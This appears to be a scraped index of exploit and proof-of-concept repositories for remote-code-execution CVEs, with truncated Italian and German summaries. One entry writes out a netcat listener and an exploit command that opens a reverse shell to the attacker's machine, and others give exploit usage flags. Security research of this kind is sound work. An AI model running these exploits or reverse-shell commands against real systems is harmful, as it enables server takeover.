LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 Analisi della Zero-Day di SharePoint su LetsDefend ToolShell - SOC342-CVE-2025-53770 📘 Introduzione Ho analizzato una zero-day di SharePoint chiamata ToolShell CVE-2025-53770 nel cyber lab LetsDefend. L'esercizio simulava un attacco RCE zero-day reale in cui una richiesta POST dannosa ha...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

su kali linux - terminale 1 nc -lvnp 4444 su kali linux - terminale 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2024-34716

CVE-2024-34716PoC Ulteriori dettagli tecnici sono disponibili su https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ Installazione pip install -r requirements.txt Utilizzo Usage: python exploit.py --url --email --local-ip --admin-path...

CVE-2024-7029

IT GenAvTechRCEExploit Un exploit PoC per la vulnerabilità CVE-2024-7029 riscontrata nei dispositivi AvTech, che consente l'esecuzione remota di codice RCE. Questo strumento può scansionare i dispositivi vulnerabili ed eseguire comandi su di essi in modo interattivo. Caratteristiche Rilevamento...

CVE-2024-2054

CVE-2024-2054 Applicazione web amministrativa Artica-Proxy deserializzazione non sicura RCE Un proof of concept di exploit per l'applicazione web amministrativa ARTICA PROXY CVE-2024-2054 Articolo del blog Maggiori dettagli qui:...

CVE-2025-31722

CVE-2025-31722 — RCE su Jenkins Templating Engine Solo a scopo didattico e di ricerca sulla sicurezza autorizzata. Descrizione Vulnerabilità di bypass della sandbox nel plugin Jenkins Templating Engine JTE = 2.5.3 che consente a un utente con privilegi bassi di eseguire codice arbitrario sul serv...

CVE-2025-68613

CVE-2025-68613 — RCE in n8n tramite Expression Injection Solo a scopo educativo e di ricerca sulla sicurezza autorizzata. Panoramica Vulnerabilità RCE critica CVSS 9.9 nella piattaforma di automazione dei flussi di lavoro n8n. Gli utenti autenticati possono eseguire comandi OS arbitrari tramite i...

CVE-2024-47176

CVE-2024-47176 CUPS Common UNIX Printing System ist ein Drucksystem, das hauptsächlich das IPP Internet Printing Protocol und andere Protokolle zur Verwaltung von Druckaufträgen und Warteschlangen verwendet. Am 27. September 2024 wurden Details zur Remote Code Execution in Unix CUPS im Internet...

Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-

🚨 Rapporto di Vulnerabilità: CVE-2025-49113 in Roundcube Webmail ⚠️ AVVISO IMPORTANTE — USO RESPONSABILE Questo materiale è esclusivamente a scopo educativo e di ricerca. È severamente vietato utilizzare le informazioni e gli strumenti qui descritti per qualsiasi attività illegale o dannosa...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerabilità Una vulnerabilità di deserializzazione nell'unmarshaller del trasporto OpenWire in Apache ActiveMQ. Le versioni interessate includono dalla 5.18.0 alla 5.18.2, dalla 5.17.0 alla 5.17.5, dalla 5.16.0 alla 5.16.6, e tutte le versioni precedenti alla 5.15.16...

Splunk-RCE-poc

Splunk RCE - PoC Exploit proof of concept per CVE-2023-46214, SVD-2023-1104 Utilizzo L'URL dell'istanza Splunk, il nome utente, la password, l'IP della reverse shell e la porta sono tutti richiesti come parametri da riga di comando. Per esempio: root@kitploit: $ python3 CVE-2023-46214.py --url...

CVE-2021-22911

CVE-2021-22911 Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione di codice remoto in Rocket Chat 3.12.1 Il metodo getPasswordPolicy è vulnerabile ad attacchi di iniezione NoSQL e non richiede autenticazione/autorizzazione. Può essere utilizzato per impossessarsi degli account...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla-Komponente: Nicht authentifizierter Datei-Upload führt zu RCE Split-Controller-Upload-Bypass → direkter Schreib-Task → /downloads/shell.php → RCE Übersicht CVE-2026-57827 ist eine kritische CVSS 9.8 nicht authentifizierte Schwachstelle für beliebigen Datei-Upload ...

CVE-2025-49132

Impatto Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato. Con la capacità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero infinit...

CVE-2020-12800

CVE-2020-12800 PoC-Skript für CVE-2020-12800: RCE durch unbeschränkten Dateityp-Upload Verwundbares Plugin zum Testen gehostet unter: https://mega.nz/file/aQUClQKCZYeiTYSrPuRnwwlRavy4cqfEXs34Tkq6KQig2RcOas Pentester Academy lab...

wso2-rce-cve-2022-29464

CVE-2022-29464 Exploit per WSO2 RCE CVE-2022-29464. Dettagli CVE-2022-29464 è una vulnerabilità critica su WSO2 scoperta da Orange Tsai. La vulnerabilità è un upload arbitrario di file non autenticato e senza restrizioni che consente ad attaccanti non autenticati di ottenere RCE sui server WSO2...

CVE-2026-48907-

CVE-2026-48907 — Scanner ed Exploit per RCE Non Autenticata su JCE Editor di Joomla CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% Uno scanner di vulnerabilità e uno strumento di sfruttamento basati su Python per CVE-2026-48907 , una critica vulnerabilità di esecuzione remota di codice non autenticata...

CVE-2021-3007-docker-poc

CVE-2021-3007 — RCE da deserializzazione HTTP in Laminas/Zend Questa repository contiene un Proof-of-Concept completamente riproducibile e un template di exploit Nuclei per CVE-2021-3007, una vulnerabilità critica di deserializzazione PHP in Zend\Http\Response\Stream laminas-http template di...

CVE-2019-11231-PoC

GetSimpleCMS CVE-2019-11231 RCE Exploit Unauthenticated Remote Code Execution Exploit für GetSimpleCMS ≤ 3.3.15 Sicherheitslücke GetSimpleCMS macht vertrauliche Dateien öffentlich zugänglich /data/other/authorization.xml, /data/users/, sodass Angreifer: 1. API-Schlüssel und Benutzernamen auslesen...

CVE-2018-18925

CVE-2018-18925 Ausnutzung von CVE-2018-18925, eine Remote-Codeausführung gegen das selbst gehostete Git-Tool: Gogs. Gogs basiert auf dem Macaron-Framework. Das System zur Verwaltung von Sitzungen ist dem von PHP sehr ähnlich. Die Sitzungskennung im Cookie wird einer Datei im Dateisystem zugeordne...